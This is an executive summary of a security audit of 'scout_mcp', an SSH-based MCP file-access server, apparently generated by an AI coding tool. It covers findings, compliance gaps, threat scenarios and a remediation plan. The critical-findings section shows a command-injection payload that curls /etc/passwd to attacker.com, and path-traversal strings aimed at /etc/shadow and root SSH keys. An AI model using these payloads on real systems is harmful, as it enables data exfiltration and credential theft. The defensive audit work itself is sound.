Scout MCP

# Security Audit Executive Summary - Scout MCP **Date:** 2025-01-28 **Classification:** CONFIDENTIAL **Distribution:** Leadership, Security Team, Development Team --- ## Overview A comprehensive OWASP Top 10 security audit was conducted on the **scout_mcp FastMCP server** (v0.1.0), an SSH-based remote file access tool. The audit identified **3 CRITICAL**, **3 HIGH**, and **4 MEDIUM** severity vulnerabilities requiring immediate remediation. --- ## Risk Rating ### Overall Security Posture: 🔴 **CRITICAL** ``` ┌─────────────────────────────────────────┐ │ DEPLOYMENT RECOMMENDATION │ │ ──────────────────────────────────────│ │ ❌ DO NOT DEPLOY TO PRODUCTION │ │ ❌ DO NOT EXPOSE TO UNTRUSTED NETWORKS│ │ ⚠️ CRITICAL FIXES REQUIRED FIRST │ └─────────────────────────────────────────┘ ``` --- ## Critical Findings (Immediate Action Required) ### 1. Remote Command Injection - CVSS 9.8 🔴 **Impact:** Complete system compromise, arbitrary code execution **Root Cause:** No input validation on `query` parameter in `executors.py:126` **Exploit Example:** ```python # Attacker executes: scout("target:/tmp", "ls; curl http://attacker.com/steal?data=$(cat /etc/passwd)") # Result: SSH credentials, sensitive files exfiltrated ``` **Business Impact:** - Full compromise of all SSH-accessible hosts - Data breach potential across entire infrastructure - Lateral movement to other systems - Reputational damage from security incident --- ### 2. SSH Man-in-the-Middle Attack - CVSS 9.1 🔴 **Impact:** Credential theft, session hijacking **Root Cause:** `known_hosts=None` in `pool.py:57` disables host key verification **Exploit Scenario:** 1. Attacker performs network-level attack (ARP spoofing, DNS poisoning) 2. scout_mcp connects to attacker's rogue SSH server (no verification) 3. Attacker intercepts all traffic, steals credentials 4. Attacker gains persistent access to production systems **Business Impact:** - All SSH credentials potentially compromised - No detection of ongoing attacks - Compliance violations (PCI-DSS, SOC 2, HIPAA) --- ### 3. Path Traversal - CVSS 8.6 🔴 **Impact:** Unauthorized file access, sensitive data exposure **Root Cause:** No path validation in file access functions **Exploit Example:** ```python # Attacker accesses: scout("target:../../etc/shadow") scout("target:../../../root/.ssh/id_rsa") # Result: Access to SSH keys, password hashes, secrets ``` **Business Impact:** - Exposure of sensitive configuration files - Access to SSH private keys enabling further attacks - Potential data breach --- ## Vulnerability Summary | Severity | Count | CVSS Range | Examples | |----------|-------|------------|----------| | 🔴 CRITICAL | 3 | 8.6 - 9.8 | Command Injection, MITM, Path Traversal | | 🟠 HIGH | 3 | 7.0 - 7.5 | No Timeouts, Weak Access Control | | 🟡 MEDIUM | 4 | 5.0 - 6.5 | Info Disclosure, No Logging, Race Conditions | | **TOTAL** | **10** | **4.0 - 9.8** | **Across all OWASP categories** | --- ## OWASP Top 10 (2021) Compliance | Category | Status | Findings | |----------|--------|----------| | A01: Broken Access Control | ❌ FAIL | Weak host filtering, no IP controls | | A02: Cryptographic Failures | ✅ PASS | SSH encryption handled by library | | A03: Injection | ❌ FAIL | **Critical command injection** | | A04: Insecure Design | ⚠️ PARTIAL | Race conditions, no rate limiting | | A05: Security Misconfiguration | ❌ FAIL | Disabled host verification, info disclosure | | A06: Vulnerable Components | ✅ PASS | All dependencies current | | A07: Auth Failures | ❌ FAIL | **Critical MITM vulnerability** | | A08: Data Integrity | ⚠️ PARTIAL | No output integrity checks | | A09: Logging Failures | ❌ FAIL | No security event logging | | A10: SSRF | ⚠️ PARTIAL | Hostname validation needed | **Compliance Score:** 2/10 PASS (20%) --- ## Compliance Impact ### Regulatory Violations **PCI-DSS:** - ❌ Requirement 6.5.1: Injection flaws not prevented - ❌ Requirement 10.2: No audit trail of access attempts - ❌ Requirement 11.3: Penetration testing would fail **HIPAA:** - ❌ §164.308(a)(1)(ii)(D): No system activity review - ❌ §164.312(a)(1): Insufficient access controls - ❌ §164.312(e)(1): No transmission security **SOC 2:** - ❌ CC6.6: Logical access security fails - ❌ CC7.2: System monitoring inadequate - ❌ CC7.5: Security incidents undetectable **Impact:** Cannot certify compliance with current implementation. --- ## Dependency Security ✅ **Good News:** All dependencies are current and free from known CVEs. | Package | Version | Status | Notes | |---------|---------|--------|-------| | asyncssh | 2.21.1 | ✅ SECURE | All historical CVEs patched | | fastmcp | 2.13.1 | ✅ SECURE | No known vulnerabilities | | cryptography | 46.0.3 | ✅ SECURE | Latest stable | **Recommendation:** Implement automated dependency scanning (Dependabot, Snyk). --- ## Attack Surface Analysis ### External Attack Vectors 1. **Network-Based:** - MCP protocol exposure (if accessible remotely) - SSH connections to target hosts - DNS/ARP attacks for MITM 2. **Input-Based:** - `target` parameter (host selection) - `query` parameter (command injection) - `path` parameter (path traversal) 3. **Configuration-Based:** - SSH config parsing vulnerabilities - Environment variable injection - Known_hosts bypass ### Internal Risks 1. **Privilege Escalation:** - SSH user credentials (typically root) - File access beyond intended scope - Command execution as privileged user 2. **Lateral Movement:** - SSH keys accessible via path traversal - Host-to-host movement via compromised system - Connection pool as pivot point --- ## Threat Actor Scenarios ### External Attacker (Internet-Based) **Capability:** Low to Medium **Scenario:** Discovers MCP server exposed to internet 1. Exploits command injection for reconnaissance 2. Exfiltrates SSH credentials and sensitive files 3. Uses credentials for persistent access 4. Moves laterally through infrastructure **Likelihood:** HIGH if service exposed **Impact:** CRITICAL --- ### Insider Threat (Malicious Employee) **Capability:** Medium to High **Scenario:** Authorized MCP user with malicious intent 1. Exploits path traversal to access sensitive files 2. Uses command injection to install backdoors 3. Exfiltrates proprietary data 4. Covers tracks (no logging to detect) **Likelihood:** MEDIUM **Impact:** HIGH --- ### Advanced Persistent Threat (APT) **Capability:** High **Scenario:** Sophisticated attacker targeting infrastructure 1. Performs MITM attack on SSH connections 2. Steals credentials for multiple systems 3. Establishes persistent access across fleet 4. Remains undetected (no logging/monitoring) **Likelihood:** LOW (requires network access) **Impact:** CRITICAL --- ## Remediation Plan ### Phase 1: Critical (Week 1) - 🔴 P0 **Effort:** 16 hours **Deliverables:** - ✅ Fix command injection (V-001) - ✅ Enable SSH host key verification (V-002) - ✅ Implement path validation (V-003) **Success Criteria:** - All critical vulnerabilities resolved - Security regression tests pass - Code review approved --- ### Phase 2: High (Week 2) - 🟠 P1 **Effort:** 14 hours **Deliverables:** - ✅ Add connection timeouts - ✅ Comprehensive input validation - ✅ Enhanced access control --- ### Phase 3: Medium (Week 3) - 🟡 P2 **Effort:** 16 hours **Deliverables:** - ✅ Security logging - ✅ Rate limiting - ✅ Error handling improvements --- ### Phase 4: Hardening (Week 4) - 🔵 P3 **Effort:** 32 hours **Deliverables:** - ✅ Security testing suite - ✅ Documentation - ✅ Monitoring/alerting --- ## Cost Analysis ### Security Incident Costs (Projected if Deployed) **Data Breach:** - Incident response: $50,000 - $150,000 - Forensics investigation: $25,000 - $100,000 - Legal/compliance: $100,000 - $500,000 - Customer notification: $10,000 - $50,000 - **Estimated Total:** $185,000 - $800,000 **Reputational Damage:** - Customer churn: 5-15% of revenue - Brand recovery: 6-24 months - Regulatory fines: $100,000 - $10M (depending on violation) ### Remediation Costs **Phase 1-4 Implementation:** - Developer time: 78 hours @ $150/hr = **$11,700** - Security review: 8 hours @ $200/hr = **$1,600** - Penetration testing: 16 hours @ $250/hr = **$4,000** - **Total Remediation:** **$17,300** **ROI:** Investing $17,300 to prevent $185,000-$800,000+ in breach costs. --- ## Risk Acceptance ### If NOT Remediated **Scenario:** Deploy with known vulnerabilities **Risks Accepted:** - ❌ Complete system compromise via command injection - ❌ Credential theft via MITM attacks - ❌ Unauthorized access to sensitive files - ❌ No detection of security incidents - ❌ Regulatory non-compliance - ❌ Potential data breach with customer impact **Recommendation:** **DO NOT ACCEPT** - Risks are unacceptable. --- ### If Partially Remediated (Phase 1 Only) **Scenario:** Fix critical issues, defer others **Risks Accepted:** - ⚠️ Limited security monitoring - ⚠️ No rate limiting (DoS possible) - ⚠️ Information disclosure in errors **Recommendation:** **ACCEPTABLE FOR INTERNAL USE** with monitoring. --- ## Recommendations ### Immediate (24-48 hours) 1. ✅ **Restrict Access** - Remove from public networks - Limit to trusted internal networks only - Document who has access 2. ✅ **Assign Resources** - Allocate 1 developer for 4 weeks - Schedule security review meetings - Establish remediation timeline 3. ✅ **Begin Phase 1** - Start with command injection fix - Enable host key verification - Implement path validation --- ### Short-Term (1-4 weeks) 1. ✅ **Complete All 4 Phases** - Follow remediation plan - Test-driven development approach - Security review after each phase 2. ✅ **Security Testing** - Unit tests for all validation - Integration tests for SSH security - Penetration testing by third party 3. ✅ **Documentation** - Security architecture docs - Deployment security guide - Incident response procedures --- ### Long-Term (Ongoing) 1. ✅ **Automated Security** - Dependency scanning (Dependabot) - SAST in CI/CD (Semgrep, Bandit) - Regular penetration testing 2. ✅ **Monitoring & Response** - SIEM integration for security events - Alerting on suspicious activity - Incident response team training 3. ✅ **Security Culture** - Developer security training - Secure code review process - Bug bounty program (if public) --- ## Conclusion The scout_mcp FastMCP server contains **CRITICAL security vulnerabilities** that enable: - Remote code execution - Credential theft - Data exfiltration **Deployment Recommendation:** ❌ **DO NOT DEPLOY** **Path Forward:** 1. Implement Phase 1 fixes immediately (1 week) 2. Complete security testing and validation (1 week) 3. Deploy to staging for validation (1 week) 4. Production deployment ONLY after security sign-off **Timeline:** 4 weeks total remediation **Investment:** $17,300 **Risk Avoided:** $185,000 - $800,000+ breach costs --- ## Approval Required This security audit requires acknowledgment and approval of the remediation plan. **Stakeholders:** - [ ] Engineering Lead - Review technical approach - [ ] Security Team - Approve security fixes - [ ] Product Management - Approve timeline - [ ] Executive Sponsor - Approve investment **Next Steps:** 1. Review this summary with stakeholders 2. Approve remediation plan and timeline 3. Allocate resources (1 developer, 4 weeks) 4. Begin Phase 1 implementation --- ## Contact **Questions or Concerns:** - Security Team: security@company.com - Engineering Lead: engineering@company.com **Related Documents:** - Full Security Audit: `.docs/security-audit-2025-01-28.md` - Dependency Report: `.docs/dependency-security-report.md` - Remediation Plan: `.docs/security-remediation-plan.md` --- **Report Prepared By:** Claude Code Security Audit **Date:** 2025-01-28 **Classification:** CONFIDENTIAL - SECURITY ASSESSMENT **Distribution:** Leadership, Security Team, Development Team